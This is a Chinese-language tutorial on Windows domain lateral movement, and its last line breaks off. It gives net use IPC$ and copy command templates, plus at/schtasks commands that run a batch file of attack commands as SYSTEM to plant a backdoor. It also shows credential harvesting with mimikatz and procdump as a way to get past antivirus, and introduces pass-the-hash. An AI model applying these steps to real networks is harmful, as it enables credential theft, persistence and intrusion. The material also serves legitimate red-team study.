一、at/schtasks(计划任务)
在使用at/schtasks的前提是我们已经获得了域内某本机权限,操作如下:
在控制的主机上使用mimikatz或Nishang获取明文密码或者hash当作密码字典→将信息搜集到的域内用户作为用户名进行爆破→连接成功→通过at/schtasks计划任务植入后门等相关控制操作。
连接时我们使用IPC(Internet Process Connection)是共享“命名管道”的资管,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相关的权限,在远程管路计算机和查看计算机的共享资源时使用。
具体操作:
1.与目标主机建立连接
2.将计划任务文件复制到目标主机
3.创建计划任务
命令如下:
net use \\<Target-ip> \ ipc$ <Password> /user:<Domain\username> #与目标建立连接。
copy \<Controlered-ip>\C$\1.bat 1.bat #从被控主机c盘上下载1.bat文件,1.bat文件内容为一系列攻击命令。
copy 1.bat \<Target-ip>\C$ #将1.bat拷贝到目标主机C盘目录下。
当IPC连接失败时,根据错误代码可以判断是何种原因。
1. 5:错误访问,可能使用的不是管理员权限,需要先提升权限
2. 51:网络问题,windoows无法找到网络路径
3. 53:找不到网站路径,可能是IP地址错误,目标未开机,目标Lanmanserver服务未启动、有防火墙等问题
4. 67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
5. 1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
6. 1326:账号密码错误
7. 1792:目标NetLogon服务未启动,连接域控常常会出现此情况
8. 2242:用户密码过期,目标有账号策略,强制定期更改密码
失败原因:
1. 目标系统不是NT或以上的操作系统
2. 对方没有打开IPC$共享
3. 对方未开启139,445端口,或者被防火墙屏蔽
4. 输出命令,账号密码有错误
当windows版本<2012使用at,当windows版本>2012使用schtasks
1.at \目标主机ip ‘时间’ C:\1.bat #添加计划任务
2.schtasks /create /s <Target-ip> /ru "SYSTEM" /tn <Taskname> /sc DAILY /tr C:\1.bat /F #创建任务对应执行文件
schtasks /run /s 192.168.3.32 /tn <Targetname> /i #运行任务
二、PTH&PTT&PTK
(一)、PTH
PTH(pass the hash)顾名思义就是通过Hash值来访问域内其他主机而不用使用明文密码,在windows中通常使用的是NTLM认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成。
Hash分为LM Hash和NTLM Hash,如果明文密码的长度大于15就无法生成LM Hash,从windows 2008开始,微软默认禁用了LM Hash。
那么如何获取内存中保存的hash值呢?下面罗列一下主流方法。
1.mimikatz
mimikatz使用的前提还是比较苛刻的,需要本地的管理员权限,同时mimikatz还会被火绒等安全软件查杀,因此还需要做免杀。
结合procdump+mimikatz将内存dump到本地后在使用mimikatz可以来绕过杀软,这是因为procdump是微软自家的,但是还是存在procdump被360拦截的案例。
因为现在讲的是PTH的利用方法,先假设已拥有本地管理员权限